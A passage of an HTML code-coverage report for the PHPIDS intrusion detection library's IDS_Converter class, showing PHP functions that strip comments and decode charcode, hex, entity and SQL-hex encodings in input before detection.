<ch0012@gmail.com> -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @version Release: $Id:Converter.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : */ -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : class IDS_Converter -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span><span class="lineCov"> 1 : { </span> -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : /** -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : * Runs all converter functions -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : * -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : * Note that if you make use of IDS_Converter::runAll(), existing class -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * methods will be executed in the same order as they are implemented in the -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : * class tree! -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : * -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : * -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : * @static -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : * @return string -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : */ -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : public static function runAll($value) -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : { -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span><span class="lineCov"> 35 : foreach (get_class_methods(__CLASS__) as $method) { </span> -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span><span class="lineCov"> 35 : if (strpos($method, 'run') === 0) { </span> -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span><span class="lineCov"> 35 : continue; </span> -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span><span class="lineCov"> 35 : $value = self::$method($value); </span> -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span><span class="lineCov"> 35 : } </span> -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span> : /** -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span> : * Check for comments and erases them if available -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span> : * -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span> : * -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : * @static -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span> : * @return string -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span> : */ -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span> : public static function convertFromCommented($value) -<span class="lineNum" id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span> : { -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span> : // check for existing comments -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span><span class="lineCov"> 35 : if (preg_match('/(?:\<!-|-->|\/\*|\*\/|\/\/\W*\w+\s*$)|' . </span> -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span><span class="lineCov"> 35 : '(?:--[^-]*-)/ms', $value)) { </span> -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span> : -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span> : $pattern = array( -<span class="lineNum" id="container93"><a name="93"></a><a href="#93" id="line93"> 93</a> </span><span class="lineCov"> 8 : '/(?:(?:<!)(?:(?:--(?:[^-]*(?:-[^-]+)*)--\s*)*)(?:>))/ms', </span> -<span class="lineNum" id="container94"><a name="94"></a><a href="#94" id="line94"> 94</a> </span><span class="lineCov"> 8 : '/(?:(?:\/\*\/*[^\/\*]*)+\*\/)/ms', </span> -<span class="lineNum" id="container95"><a name="95"></a><a href="#95" id="line95"> 95</a> </span> : '/(?:--[^-]*-)/ms' -<span class="lineNum" id="container96"><a name="96"></a><a href="#96" id="line96"> 96</a> </span><span class="lineCov"> 8 : ); </span> -<span class="lineNum" id="container97"><a name="97"></a><a href="#97" id="line97"> 97</a> </span> : -<span class="lineNum" id="container98"><a name="98"></a><a href="#98" id="line98"> 98</a> </span><span class="lineCov"> 8 : $converted = preg_replace($pattern, ';', $value); </span> -<span class="lineNum" id="container99"><a name="99"></a><a href="#99" id="line99"> 99</a> </span><span class="lineCov"> 8 : $value .= "\n" . $converted; </span> -<span class="lineNum" id="container100"><a name="100"></a><a href="#100" id="line100"> 100</a> </span><span class="lineCov"> 8 : } </span> -<span class="lineNum" id="container101"><a name="101"></a><a href="#101" id="line101"> 101</a> </span> : //make sure inline comments are detected and converted correctly -<span class="lineNum" id="container102"><a name="102"></a><a href="#102" id="line102"> 102</a> </span><span class="lineCov"> 35 : $value = preg_replace('/(<\w+)\/+(\w+=?)/m', '$1/$2', $value); </span> -<span class="lineNum" id="container103"><a name="103"></a><a href="#103" id="line103"> 103</a> </span><span class="lineCov"> 35 : $value = preg_replace('/[^\\\:]\/\/(.*)$/m', '/**/$1', $value); </span> -<span class="lineNum" id="container104"><a name="104"></a><a href="#104" id="line104"> 104</a> </span> : -<span class="lineNum" id="container105"><a name="105"></a><a href="#105" id="line105"> 105</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container106"><a name="106"></a><a href="#106" id="line106"> 106</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container107"><a name="107"></a><a href="#107" id="line107"> 107</a> </span> : -<span class="lineNum" id="container108"><a name="108"></a><a href="#108" id="line108"> 108</a> </span> : /** -<span class="lineNum" id="container109"><a name="109"></a><a href="#109" id="line109"> 109</a> </span> : * Strip newlines -<span class="lineNum" id="container110"><a name="110"></a><a href="#110" id="line110"> 110</a> </span> : * -<span class="lineNum" id="container111"><a name="111"></a><a href="#111" id="line111"> 111</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container112"><a name="112"></a><a href="#112" id="line112"> 112</a> </span> : * -<span class="lineNum" id="container113"><a name="113"></a><a href="#113" id="line113"> 113</a> </span> : * @static -<span class="lineNum" id="container114"><a name="114"></a><a href="#114" id="line114"> 114</a> </span> : * @return string -<span class="lineNum" id="container115"><a name="115"></a><a href="#115" id="line115"> 115</a> </span> : */ -<span class="lineNum" id="container116"><a name="116"></a><a href="#116" id="line116"> 116</a> </span> : public static function convertFromNewLines($value) -<span class="lineNum" id="container117"><a name="117"></a><a href="#117" id="line117"> 117</a> </span> : { -<span class="lineNum" id="container118"><a name="118"></a><a href="#118" id="line118"> 118</a> </span> : //check for inline linebreaks -<span class="lineNum" id="container119"><a name="119"></a><a href="#119" id="line119"> 119</a> </span><span class="lineCov"> 35 : $search = array('\r', '\n', '\f', '\t', '\v'); </span> -<span class="lineNum" id="container120"><a name="120"></a><a href="#120" id="line120"> 120</a> </span><span class="lineCov"> 35 : $value = str_replace($search, ';', $value); </span> -<span class="lineNum" id="container121"><a name="121"></a><a href="#121" id="line121"> 121</a> </span> : -<span class="lineNum" id="container122"><a name="122"></a><a href="#122" id="line122"> 122</a> </span> : //convert real linebreaks -<span class="lineNum" id="container123"><a name="123"></a><a href="#123" id="line123"> 123</a> </span><span class="lineCov"> 35 : return preg_replace('/(?:\n|\r|\v)/m', ' ', $value); </span> -<span class="lineNum" id="container124"><a name="124"></a><a href="#124" id="line124"> 124</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container125"><a name="125"></a><a href="#125" id="line125"> 125</a> </span> : -<span class="lineNum" id="container126"><a name="126"></a><a href="#126" id="line126"> 126</a> </span> : /** -<span class="lineNum" id="container127"><a name="127"></a><a href="#127" id="line127"> 127</a> </span> : * Checks for common charcode pattern and decodes them -<span class="lineNum" id="container128"><a name="128"></a><a href="#128" id="line128"> 128</a> </span> : * -<span class="lineNum" id="container129"><a name="129"></a><a href="#129" id="line129"> 129</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container130"><a name="130"></a><a href="#130" id="line130"> 130</a> </span> : * -<span class="lineNum" id="container131"><a name="131"></a><a href="#131" id="line131"> 131</a> </span> : * @static -<span class="lineNum" id="container132"><a name="132"></a><a href="#132" id="line132"> 132</a> </span> : * @return string -<span class="lineNum" id="container133"><a name="133"></a><a href="#133" id="line133"> 133</a> </span> : */ -<span class="lineNum" id="container134"><a name="134"></a><a href="#134" id="line134"> 134</a> </span> : public static function convertFromJSCharcode($value) -<span class="lineNum" id="container135"><a name="135"></a><a href="#135" id="line135"> 135</a> </span> : { -<span class="lineNum" id="container136"><a name="136"></a><a href="#136" id="line136"> 136</a> </span><span class="lineCov"> 35 : $matches = array(); </span> -<span class="lineNum" id="container137"><a name="137"></a><a href="#137" id="line137"> 137</a> </span> : -<span class="lineNum" id="container138"><a name="138"></a><a href="#138" id="line138"> 138</a> </span> : // check if value matches typical charCode pattern -<span class="lineNum" id="container139"><a name="139"></a><a href="#139" id="line139"> 139</a> </span><span class="lineCov"> 35 : if (preg_match_all('/(?:[\d+-=\/\* ]+(?:\s?,\s?[\d+-=\/\* ]+)){4,}/ms', </span> -<span class="lineNum" id="container140"><a name="140"></a><a href="#140" id="line140"> 140</a> </span><span class="lineCov"> 35 : $value, $matches)) { </span> -<span class="lineNum" id="container141"><a name="141"></a><a href="#141" id="line141"> 141</a> </span> : -<span class="lineNum" id="container142"><a name="142"></a><a href="#142" id="line142"> 142</a> </span><span class="lineCov"> 1 : $converted = ''; </span> -<span class="lineNum" id="container143"><a name="143"></a><a href="#143" id="line143"> 143</a> </span><span class="lineCov"> 1 : $string = implode(',', $matches[0]); </span> -<span class="lineNum" id="container144"><a name="144"></a><a href="#144" id="line144"> 144</a> </span><span class="lineCov"> 1 : $string = preg_replace('/\s/', '', $string); </span> -<span class="lineNum" id="container145"><a name="145"></a><a href="#145" id="line145"> 145</a> </span><span class="lineCov"> 1 : $string = preg_replace('/\w+=/', '', $string); </span> -<span class="lineNum" id="container146"><a name="146"></a><a href="#146" id="line146"> 146</a> </span><span class="lineCov"> 1 : $charcode = explode(',', $string); </span> -<span class="lineNum" id="container147"><a name="147"></a><a href="#147" id="line147"> 147</a> </span> : -<span class="lineNum" id="container148"><a name="148"></a><a href="#148" id="line148"> 148</a> </span><span class="lineCov"> 1 : foreach ($charcode as $char) { </span> -<span class="lineNum" id="container149"><a name="149"></a><a href="#149" id="line149"> 149</a> </span><span class="lineCov"> 1 : $char = preg_replace('/\W0/s', '', $char); </span> -<span class="lineNum" id="container150"><a name="150"></a><a href="#150" id="line150"> 150</a> </span> : -<span class="lineNum" id="container151"><a name="151"></a><a href="#151" id="line151"> 151</a> </span><span class="lineCov"> 1 : if (preg_match_all('/\d*[+-\/\* ]\d+/', $char, $matches)) { </span> -<span class="lineNum" id="container152"><a name="152"></a><a href="#152" id="line152"> 152</a> </span><span class="lineCov"> 1 : $match = preg_split('/(\W?\d+)/', </span> -<span class="lineNum" id="container153"><a name="153"></a><a href="#153" id="line153"> 153</a> </span><span class="lineCov"> 1 : (implode('', $matches[0])), </span> -<span class="lineNum" id="container154"><a name="154"></a><a href="#154" id="line154"> 154</a> </span><span class="lineCov"> 1 : null, </span> -<span class="lineNum" id="container155"><a name="155"></a><a href="#155" id="line155"> 155</a> </span><span class="lineCov"> 1 : PREG_SPLIT_DELIM_CAPTURE); </span> -<span class="lineNum" id="container156"><a name="156"></a><a href="#156" id="line156"> 156</a> </span> : -<span class="lineNum" id="container157"><a name="157"></a><a href="#157" id="line157"> 157</a> </span><span class="lineCov"> 1 : if (array_sum($match) >= 20 && array_sum($match) <= 127) { </span> -<span class="lineNum" id="container158"><a name="158"></a><a href="#158" id="line158"> 158</a> </span><span class="lineCov"> 1 : $converted .= chr(array_sum($match)); </span> -<span class="lineNum" id="container159"><a name="159"></a><a href="#159" id="line159"> 159</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container160"><a name="160"></a><a href="#160" id="line160"> 160</a> </span> : -<span class="lineNum" id="container161"><a name="161"></a><a href="#161" id="line161"> 161</a> </span><span class="lineCov"> 1 : } elseif (!empty($char) && $char >= 20 && $char <= 127) { </span> -<span class="lineNum" id="container162"><a name="162"></a><a href="#162" id="line162"> 162</a> </span><span class="lineCov"> 1 : $converted .= chr($char); </span> -<span class="lineNum" id="container163"><a name="163"></a><a href="#163" id="line163"> 163</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container164"><a name="164"></a><a href="#164" id="line164"> 164</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container165"><a name="165"></a><a href="#165" id="line165"> 165</a> </span> : -<span class="lineNum" id="container166"><a name="166"></a><a href="#166" id="line166"> 166</a> </span><span class="lineCov"> 1 : $value .= "\n" . $converted; </span> -<span class="lineNum" id="container167"><a name="167"></a><a href="#167" id="line167"> 167</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container168"><a name="168"></a><a href="#168" id="line168"> 168</a> </span> : -<span class="lineNum" id="container169"><a name="169"></a><a href="#169" id="line169"> 169</a> </span> : // check for octal charcode pattern -<span class="lineNum" id="container170"><a name="170"></a><a href="#170" id="line170"> 170</a> </span><span class="lineCov"> 35 : if (preg_match_all('/(?:(?:[\\\]+\d+[ \t]*){8,})/ims', $value, $matches)) { </span> -<span class="lineNum" id="container171"><a name="171"></a><a href="#171" id="line171"> 171</a> </span> : -<span class="lineNum" id="container172"><a name="172"></a><a href="#172" id="line172"> 172</a> </span><span class="lineCov"> 1 : $converted = ''; </span> -<span class="lineNum" id="container173"><a name="173"></a><a href="#173" id="line173"> 173</a> </span><span class="lineCov"> 1 : $charcode = explode('\\', preg_replace('/\s/', '', implode(',', </span> -<span class="lineNum" id="container174"><a name="174"></a><a href="#174" id="line174"> 174</a> </span><span class="lineCov"> 1 : $matches[0]))); </span> -<span class="lineNum" id="container175"><a name="175"></a><a href="#175" id="line175"> 175</a> </span> : -<span class="lineNum" id="container176"><a name="176"></a><a href="#176" id="line176"> 176</a> </span><span class="lineCov"> 1 : foreach ($charcode as $char) { </span> -<span class="lineNum" id="container177"><a name="177"></a><a href="#177" id="line177"> 177</a> </span><span class="lineCov"> 1 : if (!empty($char)) { </span> -<span class="lineNum" id="container178"><a name="178"></a><a href="#178" id="line178"> 178</a> </span><span class="lineCov"> 1 : if (octdec($char) >= 20 && octdec($char) <= 127) { </span> -<span class="lineNum" id="container179"><a name="179"></a><a href="#179" id="line179"> 179</a> </span><span class="lineCov"> 1 : $converted .= chr(octdec($char)); </span> -<span class="lineNum" id="container180"><a name="180"></a><a href="#180" id="line180"> 180</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container181"><a name="181"></a><a href="#181" id="line181"> 181</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container182"><a name="182"></a><a href="#182" id="line182"> 182</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container183"><a name="183"></a><a href="#183" id="line183"> 183</a> </span><span class="lineCov"> 1 : $value .= "\n" . $converted; </span> -<span class="lineNum" id="container184"><a name="184"></a><a href="#184" id="line184"> 184</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container185"><a name="185"></a><a href="#185" id="line185"> 185</a> </span> : -<span class="lineNum" id="container186"><a name="186"></a><a href="#186" id="line186"> 186</a> </span> : // check for hexadecimal charcode pattern -<span class="lineNum" id="container187"><a name="187"></a><a href="#187" id="line187"> 187</a> </span><span class="lineCov"> 35 : if (preg_match_all('/(?:(?:[\\\]+\w+\s*){8,})/ims', $value, $matches)) { </span> -<span class="lineNum" id="container188"><a name="188"></a><a href="#188" id="line188"> 188</a> </span> : -<span class="lineNum" id="container189"><a name="189"></a><a href="#189" id="line189"> 189</a> </span><span class="lineCov"> 2 : $converted = ''; </span> -<span class="lineNum" id="container190"><a name="190"></a><a href="#190" id="line190"> 190</a> </span><span class="lineCov"> 2 : $charcode = explode('\\', preg_replace('/[ux]/', '', implode(',', </span> -<span class="lineNum" id="container191"><a name="191"></a><a href="#191" id="line191"> 191</a> </span><span class="lineCov"> 2 : $matches[0]))); </span> -<span class="lineNum" id="container192"><a name="192"></a><a href="#192" id="line192"> 192</a> </span> : -<span class="lineNum" id="container193"><a name="193"></a><a href="#193" id="line193"> 193</a> </span><span class="lineCov"> 2 : foreach ($charcode as $char) { </span> -<span class="lineNum" id="container194"><a name="194"></a><a href="#194" id="line194"> 194</a> </span><span class="lineCov"> 2 : if (!empty($char)) { </span> -<span class="lineNum" id="container195"><a name="195"></a><a href="#195" id="line195"> 195</a> </span><span class="lineCov"> 2 : if (hexdec($char) >= 20 && hexdec($char) <= 127) { </span> -<span class="lineNum" id="container196"><a name="196"></a><a href="#196" id="line196"> 196</a> </span><span class="lineCov"> 2 : $converted .= chr(hexdec($char)); </span> -<span class="lineNum" id="container197"><a name="197"></a><a href="#197" id="line197"> 197</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container198"><a name="198"></a><a href="#198" id="line198"> 198</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container199"><a name="199"></a><a href="#199" id="line199"> 199</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container200"><a name="200"></a><a href="#200" id="line200"> 200</a> </span><span class="lineCov"> 2 : $value .= "\n" . $converted; </span> -<span class="lineNum" id="container201"><a name="201"></a><a href="#201" id="line201"> 201</a> </span><span class="lineCov"> 2 : } </span> -<span class="lineNum" id="container202"><a name="202"></a><a href="#202" id="line202"> 202</a> </span> : -<span class="lineNum" id="container203"><a name="203"></a><a href="#203" id="line203"> 203</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container204"><a name="204"></a><a href="#204" id="line204"> 204</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container205"><a name="205"></a><a href="#205" id="line205"> 205</a> </span> : -<span class="lineNum" id="container206"><a name="206"></a><a href="#206" id="line206"> 206</a> </span> : /** -<span class="lineNum" id="container207"><a name="207"></a><a href="#207" id="line207"> 207</a> </span> : * Eliminate JS regex modifiers -<span class="lineNum" id="container208"><a name="208"></a><a href="#208" id="line208"> 208</a> </span> : * -<span class="lineNum" id="container209"><a name="209"></a><a href="#209" id="line209"> 209</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container210"><a name="210"></a><a href="#210" id="line210"> 210</a> </span> : * -<span class="lineNum" id="container211"><a name="211"></a><a href="#211" id="line211"> 211</a> </span> : * @static -<span class="lineNum" id="container212"><a name="212"></a><a href="#212" id="line212"> 212</a> </span> : * @return string -<span class="lineNum" id="container213"><a name="213"></a><a href="#213" id="line213"> 213</a> </span> : */ -<span class="lineNum" id="container214"><a name="214"></a><a href="#214" id="line214"> 214</a> </span> : public static function convertJSRegexModifiers($value) -<span class="lineNum" id="container215"><a name="215"></a><a href="#215" id="line215"> 215</a> </span> : { -<span class="lineNum" id="container216"><a name="216"></a><a href="#216" id="line216"> 216</a> </span><span class="lineCov"> 35 : $value = preg_replace('/\/[gim]/', '/', $value); </span> -<span class="lineNum" id="container217"><a name="217"></a><a href="#217" id="line217"> 217</a> </span> : -<span class="lineNum" id="container218"><a name="218"></a><a href="#218" id="line218"> 218</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container219"><a name="219"></a><a href="#219" id="line219"> 219</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container220"><a name="220"></a><a href="#220" id="line220"> 220</a> </span> : -<span class="lineNum" id="container221"><a name="221"></a><a href="#221" id="line221"> 221</a> </span> : /** -<span class="lineNum" id="container222"><a name="222"></a><a href="#222" id="line222"> 222</a> </span> : * Converts from hex/dec entities -<span class="lineNum" id="container223"><a name="223"></a><a href="#223" id="line223"> 223</a> </span> : * -<span class="lineNum" id="container224"><a name="224"></a><a href="#224" id="line224"> 224</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container225"><a name="225"></a><a href="#225" id="line225"> 225</a> </span> : * -<span class="lineNum" id="container226"><a name="226"></a><a href="#226" id="line226"> 226</a> </span> : * @static -<span class="lineNum" id="container227"><a name="227"></a><a href="#227" id="line227"> 227</a> </span> : * @return string -<span class="lineNum" id="container228"><a name="228"></a><a href="#228" id="line228"> 228</a> </span> : */ -<span class="lineNum" id="container229"><a name="229"></a><a href="#229" id="line229"> 229</a> </span> : public static function convertEntities($value) -<span class="lineNum" id="container230"><a name="230"></a><a href="#230" id="line230"> 230</a> </span> : { -<span class="lineNum" id="container231"><a name="231"></a><a href="#231" id="line231"> 231</a> </span><span class="lineCov"> 35 : $converted = null; </span> -<span class="lineNum" id="container232"><a name="232"></a><a href="#232" id="line232"> 232</a> </span><span class="lineCov"> 35 : if (preg_match('/&#x?[\w]+/ms', $value)) { </span> -<span class="lineNum" id="container233"><a name="233"></a><a href="#233" id="line233"> 233</a> </span><span class="lineCov"> 6 : $converted = preg_replace('/(&#x?[\w]{2}\d?);?/ms', '$1;', $value); </span> -<span class="lineNum" id="container234"><a name="234"></a><a href="#234" id="line234"> 234</a> </span><span class="lineCov"> 6 : $converted = html_entity_decode($converted, ENT_QUOTES, 'UTF-8'); </span> -<span class="lineNum" id="container235"><a name="235"></a><a href="#235" id="line235"> 235</a> </span><span class="lineCov"> 6 : $value .= "\n" . str_replace(';;', ';', $converted); </span> -<span class="lineNum" id="container236"><a name="236"></a><a href="#236" id="line236"> 236</a> </span><span class="lineCov"> 6 : } </span> -<span class="lineNum" id="container237"><a name="237"></a><a href="#237" id="line237"> 237</a> </span> : -<span class="lineNum" id="container238"><a name="238"></a><a href="#238" id="line238"> 238</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container239"><a name="239"></a><a href="#239" id="line239"> 239</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container240"><a name="240"></a><a href="#240" id="line240"> 240</a> </span> : -<span class="lineNum" id="container241"><a name="241"></a><a href="#241" id="line241"> 241</a> </span> : /** -<span class="lineNum" id="container242"><a name="242"></a><a href="#242" id="line242"> 242</a> </span> : * Normalize quotes -<span class="lineNum" id="container243"><a name="243"></a><a href="#243" id="line243"> 243</a> </span> : * -<span class="lineNum" id="container244"><a name="244"></a><a href="#244" id="line244"> 244</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container245"><a name="245"></a><a href="#245" id="line245"> 245</a> </span> : * -<span class="lineNum" id="container246"><a name="246"></a><a href="#246" id="line246"> 246</a> </span> : * @static -<span class="lineNum" id="container247"><a name="247"></a><a href="#247" id="line247"> 247</a> </span> : * @return string -<span class="lineNum" id="container248"><a name="248"></a><a href="#248" id="line248"> 248</a> </span> : */ -<span class="lineNum" id="container249"><a name="249"></a><a href="#249" id="line249"> 249</a> </span> : public static function convertQuotes($value) -<span class="lineNum" id="container250"><a name="250"></a><a href="#250" id="line250"> 250</a> </span> : { -<span class="lineNum" id="container251"><a name="251"></a><a href="#251" id="line251"> 251</a> </span> : // normalize different quotes to " -<span class="lineNum" id="container252"><a name="252"></a><a href="#252" id="line252"> 252</a> </span><span class="lineCov"> 35 : $pattern = array('\'', '`', '´', '’', '‘'); </span> -<span class="lineNum" id="container253"><a name="253"></a><a href="#253" id="line253"> 253</a> </span><span class="lineCov"> 35 : $value = str_replace($pattern, '"', $value); </span> -<span class="lineNum" id="container254"><a name="254"></a><a href="#254" id="line254"> 254</a> </span> : -<span class="lineNum" id="container255"><a name="255"></a><a href="#255" id="line255"> 255</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container256"><a name="256"></a><a href="#256" id="line256"> 256</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container257"><a name="257"></a><a href="#257" id="line257"> 257</a> </span> : -<span class="lineNum" id="container258"><a name="258"></a><a href="#258" id="line258"> 258</a> </span> : /** -<span class="lineNum" id="container259"><a name="259"></a><a href="#259" id="line259"> 259</a> </span> : * Converts SQLHEX to plain text -<span class="lineNum" id="container260"><a name="260"></a><a href="#260" id="line260"> 260</a> </span> : * -<span class="lineNum" id="container261"><a name="261"></a><a href="#261" id="line261"> 261</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container262"><a name="262"></a><a href="#262" id="line262"> 262</a> </span> : * -<span class="lineNum" id="container263"><a name="263"></a><a href="#263" id="line263"> 263</a> </span> : * @static -<span class="lineNum" id="container264"><a name="264"></a><a href="#264" id="line264"> 264</a> </span> : * @return string -<span class="lineNum" id="container265"><a name="265"></a><a href="#265" id="line265"> 265</a> </span> : */ -<span class="lineNum" id="container266"><a name="266"></a><a href="#266" id="line266"> 266</a> </span> : public static function convertFromSQLHex($value) -<span class="lineNum" id="container267"><a name="267"></a><a href="#267" id="line267"> 267</a> </span> : { -<span class="lineNum" id="container268"><a name="268"></a><a href="#268" id="line268"> 268</a> </span><span class="lineCov"> 35 : $matches = array(); </span> -<span class="lineNum" id="container269"><a name="269"></a><a href="#269" id="line269"> 269</a> </span><span class="lineCov"> 35 : if(preg_match_all('/(?:0x[a-f\d]{2,}[a-f\d\s]*)+/im', $value, $matches)) { </span> -<span class="lineNum" id="container270"><a name="270"></a><a href="#270" id="line270"> 270</a> </span><span class="lineCov"> 3 : foreach($matches[0] as $match) { </span> -<span class="lineNum" id="container271"><a name="271"></a><a href="#271" id="line271"> 271</a> </span><span class="lineCov"> 3 : $converted = ''; </span> -<span class="lineNum" id="container272"><a name="272"></a><a href="#272" id="line272"> 272</a> </span><span class="lineCov"> 3 : foreach(str_split($match, 2) as $hex_index) { </span> -<span class="lineNum" id="container273"><a name="273"></a><a href="#273" id="line273"> 273</a> </span><span class="lineCov"> 3 : if(preg_match('/[a-f\d]{2,3}/i', $hex_index)) { </span> -<span class="lineNum" id="container274"><a name="274"></a><a href="#274" id="line274"> 274</a> </span><span class="lineCov"> 3 : $converted .= chr(hexdec($hex_index)); </span> -<span class="lineNum" id="container275"><a name="275"></a><a href="#275" id="line275"> 275</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container276"><a name="276"></a><a href="#276" id="line276"> 276</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container277"><a name="277"></a><a href="#277" id="line277"> 277</a> </span><span class="lineCov"> 3 : $value = str_replace($match, $converted, $value); </span> -<span class="lineNum" id="container278"><a name="278"></a><a href="#278" id="line278"> 278</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container279"><a name="279"></a><a href="#279" id="line279"> 279</a> </span><span class="lineCov"> 3 : } </span> -<span class="lineNum" id="container280"><a name="280"></a><a href="#280" id="line280"> 280</a> </span><span class="lineCov"> 35 : return $value; </span> -<span class="lineNum" id="container281"><a name="281"></a><a href="#281" id="line281"> 281</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container282"><a name="282"></a><a href="#282" id="line282"> 282</a> </span> : -<span class="lineNum" id="container283"><a name="283"></a><a href="#283" id="line283"> 283</a> </span> : /** -<span class="lineNum" id="container284"><a name="284"></a><a href="#284" id="line284"> 284</a> </span> : * Converts basic SQL keywords and obfuscations -<span class="lineNum" id="container285"><a name="285"></a><a href="#285" id="line285"> 285</a> </span> : * -<span class="lineNum" id="container286"><a name="286"></a><a href="#286" id="line286"> 286</a> </span> : * @param string $value the value to convert -<span class="lineNum" id="container287"><a name="287"></a><a href="#287" id="line287"> 287</a> </span> : * -<span class="lineNum" id="container288"><a name="288"></a><a href="#288" id="line288"> 288</a> </span> : * @static -<span class="lineNum" id="container289"><a name="289"></a><a href="#289" id="line289"> 289</a> </span> : * @return string -<span class="lineNum" id="container290"><a name="290"></a><a href="#290" id="line290"> 290</a> </span> : */ 